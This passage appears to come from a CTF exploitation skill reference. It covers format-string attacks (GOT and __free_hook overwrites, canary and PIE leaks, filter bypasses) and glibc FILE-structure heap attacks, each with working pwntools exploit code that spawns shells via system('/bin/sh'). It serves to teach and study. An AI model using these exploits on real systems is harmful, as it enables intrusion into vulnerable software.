stack values to find canary/PIE/libc pointers, use arbitrary read to dump GOT entries, cross-reference leaked addresses against libc databases to identify the exact version, then compute offsets for one_gadget or system().\n\n**6. Calculate libc base:**\n```python\n# From leaked __libc_start_main return or similar\nlibc.address = leaked_ret_addr - known_offset\n```\n\n**Common stack offsets (x86_64):**\n| Offset | Typical Content |\n|--------|-----------------|\n| 6-8 | User input buffer |\n| ~39 | Stack canary |\n| ~40 | Saved RBP |\n| ~41-43 | Return address |\n\n## Format String with Filter Bypass\n\n**Pattern (Cvexec):** `filter_string()` strips `%` but skippable with `%%%p`.\n\n**Filter bypass:** If filter checks adjacent chars after `%`:\n- `%p` → filtered\n- `%%p` → properly escaped (prints literal `%p`)\n- `%%%p` → third `%` survives, prints stack value\n\n**GOT overwrite via format string (byte-by-byte with `%hhn`):**\n```python\n# Write last 3 bytes of debug() addr to strcmp@GOT across 3 payloads\n# Pad address to consistent stack offset (e.g., 14th position)\nfor byte_offset in range(3):\n target = got_strcmp + byte_offset\n byte_val = (debug_addr >> (byte_offset * 8)) & 0xff\n # Calculate chars to print, accounting for previous output\n payload = f\"%%%dc%%%d$hhn\" % (byte_val - prev_written, 14)\n payload = payload.encode().ljust(48, b'X') + p64(target)\n```\n\n## Format String Canary + PIE Leak\n\n**Pattern (My Little Pwny):** Format string vulnerability to leak canary and PIE base, then buffer overflow.\n\n**Two-stage attack:**\n```python\n# Stage 1: Leak via format string\nio.sendline(b'%39$p.%41$p') # Canary at offset 39, return addr at 41\nleak = io.recvline()\ncanary = int(leak.split(b'.')[0], 16)\npie_base = int(leak.split(b'.')[1], 16) - known_offset\n\n# Stage 2: Buffer overflow with known canary\nwin = pie_base + win_offset\npayload = b'A' * buf_size + p64(canary) + p64(0) + p64(win)\nio.sendline(payload)\n```\n\n## __free_hook Overwrite via Format String (glibc \u003c 2.34)\n\n**Pattern (Notetaker, PascalCTF 2026):** Full RELRO + No PIE + format string vulnerability. Can't overwrite GOT, but `__free_hook` is writable.\n\n**Key insight:** `free(ptr)` passes `ptr` in `rdi` as first argument. If `__free_hook = system`, then `free(\"cat flag\")` executes `system(\"cat flag\")`.\n\n```python\n# 1. Leak libc via format string\np.sendline(b'%43$p') # __libc_start_main return address\nlibc_base = int(leaked, 16) - LIBC_START_MAIN_RET_OFFSET\n\n# 2. Write system() address to __free_hook\nfree_hook = libc_base + libc.symbols['__free_hook']\nsystem_addr = libc_base + libc.symbols['system']\npayload = fmtstr_payload(8, {free_hook: system_addr}, write_size='byte')\n\n# 3. Trigger: send command as menu input, program calls free(input_buffer)\np.sendline(b'cat flag') # free() → system(\"cat flag\")\n```\n\n**When to use:** Full RELRO (no GOT overwrite) + glibc \u003c 2.34 (hooks still exist). For glibc >= 2.34, hooks are removed - target return addresses or `_IO_FILE` structs instead.\n\n## .rela.plt / .dynsym Patching\n\n**When to use:** GOT addresses contain bad bytes (e.g., 0x0a with fgets), making direct GOT overwrite impossible. Requires `.rela.plt` and `.dynsym` in writable memory.\n\n**Technique:** Patch `.rela.plt` relocation entry symbol index to point to different symbol, then patch `.dynsym` symbol's `st_value` with `win()` address. When the original function is called, dynamic linker reads patched relocation and jumps to `win()`.\n\n```python\n# Key addresses (from readelf -S)\nREL_SYM_BYTE = 0x4006ec # .rela.plt[exit].r_info byte containing symbol index\nSTDOUT_STVAL_LO = 0x4004e8 # .dynsym[11].st_value low halfword\nSTDOUT_STVAL_HI = 0x4004ea # .dynsym[11].st_value high halfword\n\n# Format string writes via %hhn (8-bit) and %hn (16-bit)\n# 1. Write symbol index 0x0b to r_info byte\n# 2. Write win() address low halfword to st_value\n# 3. Write win() address high halfword to st_value+2\n```\n\n**When GOT has bad bytes but .rela.plt/.dynsym don't:** This technique bypasses all GOT byte restrictions since you never write to GOT directly.\n\n**Key insight:** When GOT addresses contain bad bytes (e.g., `0x0a` with `fgets`), avoid writing to GOT directly. Instead, patch `.rela.plt` to redirect the relocation to a different `.dynsym` entry, then overwrite that symbol's `st_value` with the target address. The dynamic linker follows the patched chain on the next call.\n\n---\n\n## Format String for Game State Manipulation (UTCTF 2026)\n\n**Pattern (Small Blind):** Poker/card game where player name is vulnerable to format string. Stack contains pointers to game state variables (player chips, dealer chips). Write arbitrary values to win condition.\n\n**Key insight:** `%n` writes the number of characters printed so far. Use `%Xc` to control that count, then `%N$n` to write to the Nth stack argument (which points to a game variable).\n\n**Exploitation:**\n```python\nfrom pwn import *\n\np = remote('challenge.utctf.live', 7255)\np.recvuntil(b'Enter your name: ')\n\n# %1000c prints 1000 chars (padding), then %7$n writes 1000 to stack pos 7\n# Stack position 7 = pointer to player_chips variable\np.sendline(b'%1000c%7$n')\n\n# Player now has 1000 chips → triggers win condition\n# Collect flag from game output\n```\n\n**Discovery workflow:**\n1. **Confirm format string:** Send `%p.%p.%p.%p` as name, check for hex leaks\n2. **Map stack positions:** Try `%6$n`, `%7$n`, `%8$n` with different `%Xc` values\n3. **Identify which variable changed:** Compare game output (chips, score, health) before/after\n4. **Determine win condition:** May be `player_chips >= threshold` or `player > dealer`\n5. **Craft winning payload:** Set player chips high (`%9999c%7$n`) or dealer chips to 0 (`%6$n`)\n\n**Common game state patterns on stack:**\n| Position | Typical Variable |\n|----------|-----------------|\n| 6 | Pointer to dealer/opponent state |\n| 7 | Pointer to player state |\n| 8-10 | Score, health, inventory |\n\n**When `%n` writes to adjacent variables:** If player and dealer chips are adjacent in memory (4 bytes apart), positions N and N+1 point to them. Write 0 to dealer (`%N$n` with 0 chars printed) and high value to player (`%9999c%(N+1)$n`).\n\n**Key insight:** Format string vulnerabilities in game binaries are simpler than typical pwn — you don't need shell, just manipulate game state to trigger the win condition. Map stack positions to game variables, then write the winning values.\n\n---\n\n## Format String Saved EBP Overwrite for .bss Pivot (PlaidCTF 2015)\n\n**Pattern (EBP):** Format string buffer is in `.bss` (fixed address) rather than on the stack. Classic `%n` arbitrary-write requires attacker addresses on the stack, which is impossible with `.bss` buffers. Instead, overwrite the saved EBP to redirect the function epilogue (`leave; ret`) to the `.bss` buffer.\n\n**How `leave; ret` works:**\n```asm\nleave: mov esp, ebp ; esp = saved_ebp\n pop ebp ; ebp = [saved_ebp]\nret: pop eip ; eip = [saved_ebp + 4]\n```\n\n**Exploit layout in `.bss` buffer at address `0x0804A080`:**\n```text\n[addr_of_buf-4][padding_to_write_value][%n][shellcode...]\n```\nWrite `buf_addr - 4` (e.g., `0x0804A07C`) into saved EBP via `%n`. On function return, `leave` sets `esp = 0x0804A07C`, then `ret` jumps to the value at `0x0804A080` — the start of shellcode.\n\n**Key insight:** When the format string buffer is at a fixed `.bss` address (not stack), overwrite saved EBP to pivot the stack into `.bss`. The `leave; ret` epilogue uses EBP to set ESP, so controlling EBP controls where `ret` reads EIP from. Place shellcode address (or ROP chain) at `buf_addr` and shellcode at `buf_addr + offset`.\n\n---\n\n## argv[0] Overwrite for Stack Smash Info Leak (HITCON CTF 2015)\n\n**Pattern (nanana):** When a stack canary is corrupted, glibc's `__stack_chk_fail` prints: `*** stack smashing detected ***: \u003cargv[0]> terminated`. Since `argv[0]` is a pointer stored on the stack, overwriting it with the address of a secret (e.g., global password buffer) leaks the secret through the crash message.\n\n**Attack steps:**\n1. Overflow past the canary (deliberately corrupting it)\n2. Continue overwriting the stack to reach `argv[0]` (pointer to program name)\n3. Replace `argv[0]` with the address of the target data (e.g., `0x601090` = `g_password`)\n4. The stack smash handler prints: `*** stack smashing detected ***: \u003cpassword_contents>`\n\n```python\n# Overflow to overwrite argv[0] with address of global password\npayload = b\"A\" * canary_offset # reach canary (deliberately corrupt it)\npayload += b\"B\" * (argv0_offset - canary_offset) # padding to argv[0]\npayload += p64(password_addr) # overwrite argv[0] -> password string\n```\n\n**Key insight:** A \"failed\" exploit that triggers `__stack_chk_fail` becomes an information leak when `argv[0]` is overwritten. This is useful as a first stage: leak a secret (password, canary, address), then use it in a second connection for the real exploit. Works because `argv` is stored on the stack above local variables.\n\n---\n\n## Format String .fini_array Loop for Multi-Stage Exploitation (Codegate 2016)\n\n**Pattern:** When no GOT function is called after `printf()`, chain multiple format string writes across re-executions by overwriting `.fini_array` with `main()`:\n\n1. **Stage 1:** Overwrite `.fini_array[0]` with `main()`, leak libc + stack pointers\n2. **Stage 2:** Overwrite `printf@GOT` with `system()`, overwrite `__stack_chk_fail@GOT` with `main()`\n3. **Stage 3:** Deliberately corrupt stack canary so `__stack_chk_fail` re-enters `main()`. Now `printf(input)` is `system(input)` -- send `/bin/sh`\n\n```python\n# Stage 1: loop back via .fini_array, leak addresses\npayload = fmtstr_payload(offset, {fini_array: main_addr})\n# Stage 2: redirect printf to system, set up canary fail re-entry\npayload = fmtstr_payload(offset, {printf_got: system, stack_chk_got: main_addr})\n# Stage 3: corrupt canary -> __stack_chk_fail -> main -> system(input)\n```\n\n**Key insight:** `.fini_array` entries are called when `main()` returns. Overwriting with `main()` creates an execution loop for multi-stage format string attacks. Deliberately corrupting the canary triggers `__stack_chk_fail` as a controlled re-entry vector when that GOT entry has been redirected.\n\n**References:** Codegate 2016\n\n---\n\n## __printf_chk Bypass with Sequential %p (VolgaCTF 2017)\n\n**Pattern:** `__printf_chk()` blocks `%n` writes and direct parameter access (`%123$p`). Bypass by chaining sequential `%p` specifiers to reach the desired stack offset.\n\n```python\nfrom pwn import *\n\n# __printf_chk restrictions:\n# - No %n/%hn/%hhn writes\n# - No direct access: %123$p fails\n# - Sequential access still works: %p%p%p...\n\n# Leak canary at stack offset 267:\npayload = \"%p.\" * 267 + \"%p\" # sequential %p to offset 267\nio.sendline(payload.encode())\nresponse = io.recvline().decode()\nleaks = response.split(\".\")\ncanary = int(leaks[266], 16) # 267th value (0-indexed)\n\n# Leak libc return address at offset 269:\npayload = \"%p.\" * 269 + \"%p\"\nio.sendline(payload.encode())\nresponse = io.recvline().decode()\nleaks = response.split(\".\")\nlibc_ret = int(leaks[268], 16)\nlibc_base = libc_ret - known_offset\n\n# Then use stack overflow for ROP since format string write is blocked\npayload = b\"A\" * buf_size\npayload += p64(canary)\npayload += p64(0) # saved rbp\npayload += p64(pop_rdi)\npayload += p64(binsh_addr)\npayload += p64(system_addr)\nio.sendline(payload)\n```\n\n**Key insight:** While `__printf_chk` prevents `%n` and direct parameter access (`%N ctf-pwn — Skillopedia ), it still allows sequential format specifiers. Chaining hundreds of `%p` reaches any stack offset, enabling leaks (canary, libc, PIE) even without write capability. Combine with a separate overflow vulnerability for the write stage.\n\n**When to recognize:** Binary uses `__printf_chk` or `__fprintf_chk` (visible in disassembly or via `__fortify_source`). Direct `%N$p` fails but sequential `%p%p%p...` still works. Output may be very large -- parse carefully with delimiters.\n\n**References:** VolgaCTF 2017\n\n---\n\n## Leak + GOT Overwrite in Single printf Call (picoCTF 2017)\n\n**Pattern:** When a format string vulnerability is followed immediately by `exit(0)`, combine address leak and GOT overwrite in a single printf invocation.\n\n```python\nfrom pwn import *\n\n# Must leak libc AND redirect exit() in one printf call\n# Layout: padding + dummy_addr + %leak$p + %Nc + %write$hn + padding + got_addr\n\nexit_got = elf.got['exit']\nmain_addr = elf.sym['main']\ntarget_low16 = main_addr & 0xFFFF\n\npayload = b'e_______' # 8 bytes padding\npayload += p64(0x4141414141) # dummy (consumed by leak specifier)\npayload += b' %25$p' # leak libc address at offset 25\n# Calculate bytes needed: target_low16 - bytes_written_so_far\nbytes_written = len(payload)\npadding_needed = (target_low16 - bytes_written) % 0x10000\npayload += f'%{padding_needed}c%19$hn'.encode() # write low 2 bytes to offset 19\npayload += b'A' * ((8 - (len(payload) % 8)) % 8) # alignment to 8 bytes\npayload += p64(exit_got) # address for %19$hn write\n\n# Result: leaks libc via %25$p AND overwrites exit@GOT via %19$hn\n# exit() jumps back to main for second-stage exploitation\nio.sendline(payload)\n\n# Parse leaked libc address from output\nio.recvuntil(b' 0x')\nlibc_leak = int(io.recv(12), 16)\nlibc_base = libc_leak - known_offset\n\n# Second pass: now with libc known, overwrite for shell\n# ...\n```\n\n**Key insight:** A single `printf` can perform both reads (`%p`) and writes (`%hn`) simultaneously. When `exit()` immediately follows the vulnerability, overwrite `exit@GOT` with `main`'s address in the same call that leaks libc, creating a re-entry point for full exploitation. The key is careful offset calculation so the leak specifier and write specifier reference the correct stack positions.\n\n**When to recognize:** Format string vulnerability with only one shot before `exit()` or another terminating function. The single-call technique avoids needing a loop or re-entry mechanism before establishing one.\n\n**References:** picoCTF 2017\n\n---\n\n## Objective-C %@ Format Specifier Exploitation (SHA2017)\n\n**Pattern:** Objective-C's `NSLog` and related functions support the `%@` format specifier, which calls `objc_msg_lookup(rdi, ...)` treating the corresponding stack value as an Objective-C object pointer. Control the stack value pointed to by `%N$@` to control `rdi`. Analysis of `objc_msg_lookup` reveals a `call rax` gadget reachable with crafted conditions, enabling one-shot execution.\n\n**Mechanism:**\n```text\nNSLog(@\"Hello %@\", user_input)\n → %@ consumes next argument from stack\n → argument is treated as Objective-C object pointer (rdi)\n → objc_msg_lookup(rdi, \"description\") is called\n → if [rdi+8] == 0 (ISA check fails), execution reaches: call rax\n → rax is under attacker control via the crafted \"object\"\n```\n\n**Exploitation:**\n```python\n# Craft a fake Objective-C object on the stack via format string write\n# Object layout: [isa_ptr][method_list_ptr][...]\n# Set isa_ptr = 0 to reach the call rax path in objc_msg_lookup\n# Set rax = one_gadget or system() via prior %n writes\n\n# Locate %N$@ position: stack offset where fake object pointer lands\n# Use %n to write fake object address at the right stack slot\n# Then trigger %@ to call objc_msg_lookup → call rax → shell\npayload = b'%\u003cdistance>c%\u003cwrite_offset>$lln' # write fake obj addr\npayload += b'%\u003cobj_offset>$@' # trigger call rax\n```\n\n**Key insight:** Objective-C format strings include `%@` which invokes `objc_msg_lookup` on a stack pointer — turns a read-only FSB into a controlled-call primitive via the objc runtime. The `call rax` gadget inside `objc_msg_lookup` is reachable when the ISA pointer check fails, making a crafted \"null ISA\" object sufficient to redirect execution.\n\n**References:** SHA2017\n\n---\n\n## strlen Integer Truncation Bypass (ASIS CTF Finals 2017)\n\n**Pattern:** Binary filters format string input by checking that each character up to `strlen(input)+1` is lowercase. However, the `strlen()` result is cast to `int8_t`: at input length 255, `(int8_t)(255 + 1)` overflows to 0, collapsing the sanitization window to an empty range. Format specifiers like `%n` placed beyond byte 255 bypass the filter entirely.\n\n**Vulnerable code pattern:**\n```c\nvoid filter(char *input) {\n int8_t len = (int8_t)strlen(input); // truncates at 255 → wraps to -1 or 0\n for (int8_t i = 0; i \u003c= len; i++) { // at len==-1 (255 cast): 0 \u003c= -1 is false\n if (!islower(input[i]))\n reject();\n }\n}\n```\n\n**Exploitation:**\n```python\n# Pad with 255 lowercase bytes, then place %n-based payload starting at byte 255\n# The filter checks bytes 0..len, but len wraps to -1 (or 0+1=0), so no bytes checked\nfiller = b'a' * 255\nexploit_suffix = b'%7$n' + p64(target_addr) # unchecked bytes\npayload = filler + exploit_suffix\n```\n\n**Key insight:** `strlen()` cast to `int8_t` produces signed overflow at length 255, collapsing the sanitization window to zero. Any payload content placed at or beyond byte 255 escapes the filter. Always check for integer truncation when a length field is stored in a signed or short type.\n\n**References:** ASIS CTF Finals 2017\n\n---\n\n## printf_function_table Overwrite via Buffer Overflow (34C3 CTF 2017)\n\n**Pattern:** Exploit glibc's internal printf dispatch tables to turn a buffer overflow into an information leak without needing a format string vulnerability. When `printf_function_table` is non-NULL, glibc dispatches format specifiers through `printf_arginfo_table` instead of the default handlers.\n\n**Mechanism:**\n1. Buffer overflow to create a fake `printf_arginfo_size_function` structure pointing to `_fortify_fail`\n2. Overwrite `__libc_argv` so `_fortify_fail` prints the flag instead of the real `argv[0]`\n3. Set `printf_function_table` to a non-NULL value (triggers alternate dispatch)\n4. Set `printf_arginfo_table` to point to the fake structure\n\n**How the dispatch works:**\n```c\n// Inside glibc's printf implementation:\nif (__printf_function_table != NULL) {\n // Alternate path: look up handler via printf_arginfo_table\n int spec_index = format_char; // e.g., 'd' = 100\n // Calls printf_arginfo_table[spec_index](...)\n // → redirected to _fortify_fail\n}\n\n// _fortify_fail prints:\n// \"*** buffer overflow detected ***: %s terminated\\n\", __libc_argv[0]\n// If __libc_argv[0] points to the flag → flag is leaked\n```\n\n**Exploitation:**\n```python\nfrom pwn import *\n\n# Addresses determined from libc\nprintf_function_table = libc_base + PRINTF_FUNCTION_TABLE_OFF\nprintf_arginfo_table = libc_base + PRINTF_ARGINFO_TABLE_OFF\nlibc_argv = libc_base + LIBC_ARGV_OFF\nfortify_fail = libc_base + FORTIFY_FAIL_OFF\n\n# Step 1: Overflow to overwrite __libc_argv to point to flag location\n# Step 2: Create fake arginfo table entry pointing to _fortify_fail\n# Step 3: Set printf_function_table to non-NULL\n# Step 4: Set printf_arginfo_table to fake table\n\n# Any subsequent printf with a format specifier (e.g., %d, %s)\n# triggers: printf_arginfo_table['d'] → _fortify_fail\n# _fortify_fail reads __libc_argv[0] → prints flag contents\n```\n\n**Key insight:** When `printf_function_table` is non-NULL, glibc dispatches format specifiers through `printf_arginfo_table`. Overwriting both lets you redirect any printf format specifier to an arbitrary function. Combined with `_fortify_fail` (which prints `__libc_argv[0]`), this turns a buffer overflow into an info leak without needing a format string vulnerability.\n\n**When to recognize:** Buffer overflow that can reach glibc globals but no direct format string vulnerability. The target binary calls `printf` with format specifiers after the overflow. Useful when the goal is information exfiltration (flag leak) rather than code execution.\n\n**References:** 34C3 CTF 2017\n\n---\n\n## scanf Format String on Stack Overwrite (TUCTF 2017)\n\n**Pattern:** When `scanf`'s format string (e.g., `\"%30s\"`) is stored on the stack adjacent to the user input buffer rather than in `.rodata`, the first input can overflow into the format specifier itself, expanding the allowed read size for the next call.\n\n**Two-stage overflow:**\n```python\nfrom pwn import *\n\n# Stage 1: Overflow the scanf format string on the stack\n# Format \"%30s\" is stored 0x14 bytes after the input buffer\n# Overwrite it to become \"%99s\"\npayload0 = b\"0\" * 0x14 + p32(0x73393925) # 0x73393925 = \"%99s\" in little-endian\nio.sendline(payload0)\n\n# Stage 2: scanf now reads up to 99 bytes instead of 30\n# Use the expanded buffer to reach and overwrite the return address\npayload1 = b\"0\" * 0x31 + p32(win_addr) # 0x31 bytes padding + return address\nio.sendline(payload1)\n```\n\n**Stack layout:**\n```text\n+0x00: input_buffer[30] ← scanf reads here\n+0x14: format_string[4] ← \"%30s\" (overwritten to \"%99s\")\n ...\n+0x31: saved_ebp\n+0x35: return_address ← target for stage 2\n```\n\n**Key insight:** If the format specifier for `scanf` is on the stack (not in `.rodata`), the first input can overwrite it to expand the read size, then the second input uses the expanded format to reach the return address. Two-stage overflow: first expand the format string, then exploit the expanded buffer. Check whether format strings are stack-allocated by examining the disassembly — `lea` from `rbp`/`rsp` offset (stack) vs. `lea` from `rip`-relative address (`.rodata`).\n\n**When to recognize:** Binary uses `scanf` with a format string that limits input length (e.g., `%30s`), but the overflow is just short of reaching the return address. If the format string is a local variable on the stack rather than a string literal, this two-stage technique bridges the gap.\n\n**References:** TUCTF 2017\n\n---\n\n## Format String Exploit Through ROT13 Encoding (SunshineCTF 2018)\n\n**Pattern:** A \"ROT13 encryption service\" applies ROT13 to user input before passing it to `printf`. Leak addresses and build format string payloads, but ROT13-encode them first so they survive the transformation and reach `printf` intact.\n\n**Attack chain:**\n1. Input is ROT13-encoded by the binary before reaching `printf`\n2. ROT13 is self-inverse: `rot13(rot13(x)) = x`\n3. Pre-encode format string payloads with ROT13 so the transformation produces the intended format specifiers\n4. Leak libc and program addresses via ROT13-encoded `%p` specifiers\n5. Build a `fmtstr_payload` to overwrite `strlen@GOT` with `system`, then send `/bin/sh`\n\n```python\nimport codecs\nfrom pwn import *\n\ndef rot13(s):\n return codecs.encode(s, 'rot_13')\n\nio = remote('target', 1337)\n\n# Stage 1: Leak addresses through ROT13 transform\n# rot13('%2$x|%3$x') produces encoded string; after binary's rot13, printf sees '%2$x|%3$x'\nio.sendline(rot13('%2$x|%3$x').encode())\nleak = io.recvline().decode()\nlibc_leak, prog_leak = leak.split('|')\nlibc_base = int(libc_leak, 16) - known_offset\nprog_base = int(prog_leak, 16) - known_offset\n\n# Stage 2: Overwrite strlen@GOT with system via format string\nstrlen_got = prog_base + elf.got['strlen']\nsystem_addr = libc_base + libc.symbols['system']\nwrites = {strlen_got: system_addr}\npayload = fmtstr_payload(7, writes)\n\n# ROT13-encode the entire payload so binary's rot13 produces the real fmt string\nencoded_payload = rot13(payload.decode('latin-1')).encode('latin-1')\nio.sendline(encoded_payload)\n\n# Stage 3: Send /bin/sh -- strlen(\"/bin/sh\") now calls system(\"/bin/sh\")\nio.sendline(b'/bin/sh')\nio.interactive()\n```\n\n**Key insight:** When input is transformed before reaching printf (ROT13, Caesar, etc.), pre-encode the format string payload with the inverse transform. ROT13 is self-inverse, so `rot13(rot13(payload)) = payload` reaches printf intact. This applies to any invertible transformation applied before a format string sink -- XOR, base64, substitution ciphers, etc.\n\n**References:** SunshineCTF 2018\n\n---\n\n## Format String in HTTP User-Agent for PIE Leak (X-MAS CTF 2018)\n\n**Pattern:** A PIE-compiled HTTP server logs the `User-Agent` header with `printf(ua)`. No other info-leak primitives exist, but the stack canary and PIE base both sit near the logging frame. One request leaks both in a single response.\n\n```python\n# Leak canary at offset 6, PIE base at offset 7\nr = requests.get('http://target/', headers={'User-Agent': '%6$p.%7$p'})\ncanary, pie = [int(x, 16) for x in r.text.strip().split('.')]\npie_base = pie - elf.sym['main']\n```\n\n**Key insight:** Any header parsed into a format-string sink turns a remote HTTP server into a leak oracle. Check logs, error messages, and reflected headers before assuming you need a binary-local primitive.\n\n**References:** X-MAS CTF 2018 — I want that toy, writeup 12672\n\n---\n\n## Null-Byte Address Fragmentation in Small Buffers (FireShell 2019)\n\n**Pattern:** The vulnerable buffer is 16 bytes, so a typical `fmtstr_payload(offset=..., writes={addr: val})` fails because `printf` stops at the first null byte in `addr`. Work around it by placing the format specifier *first* and the target address *last* in the buffer — printf consumes the format bytes before it hits the null.\n\n```python\nfmtstr = b\"%9x%11$n\" + b\"\\x20\\x20\\x60\\x00\\x00\\x00\\x00\\x00\"\n# printf processes %9x%11$n using the address at offset 11 (the trailing 8 bytes)\n# Writes 0x9 (from %9x count) to *0x602020\n```\n\n**Key insight:** Format-string null-byte restrictions only bite when the address precedes the format directives. Put the directives first so `printf` parses them before touching the address, then let `%$n` reference the trailing address slot.\n\n**References:** FireShell CTF 2019 — casino, writeup 12916\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":33099,"content_sha256":"4dbc9ff05fa1bcdff82510be4dc1cfa4e85f9678e2573ed6f9aaf4ffa5ad2ac2"},{"filename":"heap-fsop.md","content":"# CTF Pwn - Heap FILE Structure Attacks\n\nFILE-structure (_IO_FILE) exploitation for libc 2.23-2.27+: fastbin→stdout vtable hijack, _IO_buf_base null byte overwrites, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on FILE fields, and menu-driven UAF / refcount bugs that land through these FILE primitives. For classical heap attacks (House of *, unlink, tcache, musl), see [heap-techniques.md](heap-techniques.md).\n\n## Table of Contents\n- [Fastbin stdout Vtable Two-Stage Hijack for PIE + Full RELRO (ASIS CTF 2017)](#fastbin-stdout-vtable-two-stage-hijack-for-pie--full-relro-asis-ctf-2017)\n- [_IO_buf_base Null Byte Overwrite for stdin Hijack (Tokyo Westerns 2017)](#_io_buf_base-null-byte-overwrite-for-stdin-hijack-tokyo-westerns-2017)\n- [glibc 2.24+ _IO_FILE Vtable Validation Bypass (HITCON 2017)](#glibc-224-_io_file-vtable-validation-bypass-hitcon-2017)\n- [Unsorted Bin Attack on stdin _IO_buf_end (HITCON 2017)](#unsorted-bin-attack-on-stdin-_io_buf_end-hitcon-2017)\n- [Unsorted Bin Corruption via mp_ Structure (HITCON 2017)](#unsorted-bin-corruption-via-mp_-structure-hitcon-2017)\n- [realloc(ptr, 0) as free() for UAF (AceBear 2018)](#reallocptr-0-as-free-for-uaf-acebear-2018)\n- [Single-Byte Reference Counter Wraparound to UAF (WhiteHat Grand Prix 2018)](#single-byte-reference-counter-wraparound-to-uaf-whitehat-grand-prix-2018)\n\n---\n\n## Fastbin stdout Vtable Two-Stage Hijack for PIE + Full RELRO (ASIS CTF 2017)\n\n**Pattern:** When PIE and Full RELRO block GOT overwrite, target libc's stdout FILE structure via fastbin attack, using a two-stage vtable hijack.\n\n```python\nfrom pwn import *\n\n# Stage 1: Fastbin double-free targeting fake chunk inside stdout\n# Use 0x7f byte in libc stdout region as fake chunk size (matches 0x70 fastbin)\nfake_chunk_addr = libc.sym['_IO_2_1_stdout_'] + 0x91 # contains 0x7f byte\n\n# Double-free in 0x70 fastbin\nalloc_a = malloc(0x60)\nalloc_b = malloc(0x60)\nfree(alloc_a)\nfree(alloc_b)\nfree(alloc_a) # double-free: fastbin 0x70 = [a -> b -> a]\n\n# Redirect fastbin to stdout region\nmalloc(0x60, p64(fake_chunk_addr)) # a's fd -> fake chunk in stdout\nmalloc(0x60) # returns b\nmalloc(0x60) # returns a again\n\n# Stage 2a: First vtable overwrite → gets()\n# rdi points to stdout struct, so gets(stdout) reads input into stdout\nfake_stdout_chunk = malloc(0x60) # returns fake chunk overlapping stdout\nwrite_to(fake_stdout_chunk, p64(gets_addr)) # vtable → gets\n\n# Stage 2b: gets() overwrites stdout vtable again → system()\n# Next puts() call triggers: vtable lookup → gets(stdout)\n# gets() reads from stdin into the stdout struct, overwriting vtable again\n# Input: \"1\\x80;/bin/sh;\" — new vtable points to system()\n# After gets() returns, next output call triggers system()\n```\n\n**Key insight:** The 0x7f byte naturally present in libc's stdout region satisfies fastbin size validation for the 0x70 bin. Two-stage hijack: first redirect vtable to `gets()` (since rdi=stdout FILE*), then `gets()` reads a second vtable pointing to `system()` along with the command string. This technique works even with PIE + Full RELRO because it targets libc's writable data segment, not the GOT.\n\n**When to recognize:** Challenge has PIE + Full RELRO, with a heap UAF or double-free. The 0x7f byte in libc's FILE structures is a universal fastbin target. Check `_IO_2_1_stdout_` region for 0x7f bytes at aligned offsets suitable as fake chunk sizes.\n\n**References:** ASIS CTF 2017\n\n---\n\n## _IO_buf_base Null Byte Overwrite for stdin Hijack (Tokyo Westerns 2017)\n\n**Pattern:** A null-byte (off-by-one) heap overflow corrupts the least significant byte of `_IO_buf_base` in stdin's `_IO_FILE` structure. This redirects the stdin input buffer pointer to `_short_buf` — a small internal buffer that lies within the FILE struct itself. Subsequent `scanf`/`fgets` calls then write attacker input directly into the FILE structure, enabling overwrite of `_IO_buf_base`/`_IO_buf_end` to arbitrary addresses for a full write primitive.\n\n**How it works:**\n```c\n// Null byte overwrite targets _IO_buf_base's LSB\n// Before: _IO_buf_base = 0x7f...XX00 (points to heap input buffer)\n// After: _IO_buf_base = 0x7f...0000 (points into FILE struct itself,\n// landing near _short_buf)\n// Next scanf() / fgets() reads input into the FILE struct\n// Overwrite _IO_buf_base/_IO_buf_end fields with arbitrary addresses\n// Now stdin reads from attacker-controlled memory address\n```\n\n**Exploitation chain:**\n```python\n# 1. Arrange heap: allocation immediately before stdin's _IO_buf_base\n# (requires heap grooming so chunk is adjacent to FILE struct)\n\n# 2. Null-byte overflow: write one 0x00 byte past chunk boundary\n# → corrupts _IO_buf_base LSB → points into FILE struct\n\n# 3. Next read (scanf/fgets): input written into FILE struct fields\n# → overwrite _IO_buf_base = target_addr, _IO_buf_end = target_addr + size\n\n# 4. Next read: stdin reads from target_addr → arbitrary write primitive\n# → overwrite __free_hook with system() or one_gadget\n\n# 5. Trigger: call a function that invokes free() with a controlled pointer\n# → system(\"/bin/sh\")\n```\n\n**Key insight:** Null-byte overflow into stdin's `_IO_buf_base` relocates the input buffer into the FILE structure itself, providing arbitrary write via standard I/O functions. The `_short_buf` field within the FILE struct is the natural landing target when the LSB is zeroed.\n\n**References:** Tokyo Westerns CTF 2017\n\n---\n\n## glibc 2.24+ _IO_FILE Vtable Validation Bypass (HITCON 2017)\n\n**Pattern:** glibc 2.24+ validates vtable pointers against the `_IO_vtables` section, rejecting pointers outside that range. Bypass: use unchecked sub-function entries reachable via two-hop dereference. Arrange two heap pointers 0x10 bytes apart (via unsorted bin fd/bk). The first pointer is set to `valid_vtable_addr - 0x18`; the second to `system()`. `_IO_flush_all_lockp` dereferences `*(addr + 0xd8) + 0x18`, landing in an unchecked sub-function that calls `*(addr + 0xe8)`.\n\n**How the two-hop bypass works:**\n```c\n// _IO_flush_all_lockp calls:\n// fp->vtable->_IO_overflow(fp)\n// With a valid vtable addr but offset trick:\n// vtable[offset] → points to sub-function outside vtable validation\n// sub-function dereferences further → calls system()\n\n// Heap layout using unsorted bin fd/bk (0x10 apart):\n// [heap + 0x00]: valid_vtable_addr - 0x18 (passes vtable check at offset 0xd8)\n// [heap + 0x10]: system() (called via *(addr + 0xe8) dereference)\n```\n\n**Setup:**\n```python\n# Place two pointers 0x10 apart using unsorted bin fd/bk as write targets\n# unsorted bin attack: write main_arena+88 to target, leak heap/libc\n# Craft FILE struct with _flags = \" sh\\x00\" for system() argument\n# Trigger exit() → _IO_flush_all_lockp → two-hop call → system(\"sh\")\n```\n\n**Key insight:** Vtable validation checks the address range but not indirect entries reachable via sub-functions — two-hop call chains bypass `__IO_vtable_check`. The fd/bk pointers of a chunk in the unsorted bin sit exactly 0x10 bytes apart, making them natural targets for the two adjacent pointer slots needed.\n\n**References:** HITCON CTF 2017\n\n---\n\n## Unsorted Bin Attack on stdin _IO_buf_end (HITCON 2017)\n\n**Pattern:** An off-by-one NULL byte creates overlapping heap chunks. Free into the unsorted bin, then use the unsorted bin attack (corrupting `bk` of an unsorted bin chunk) to overwrite `_IO_buf_end` of stdin's FILE structure with a large libc address (main_arena+88). The next `scanf` call then reads attacker data into libc's stdin buffer region — enabling overwrite of `__malloc_hook` with a one_gadget.\n\n**Exploit 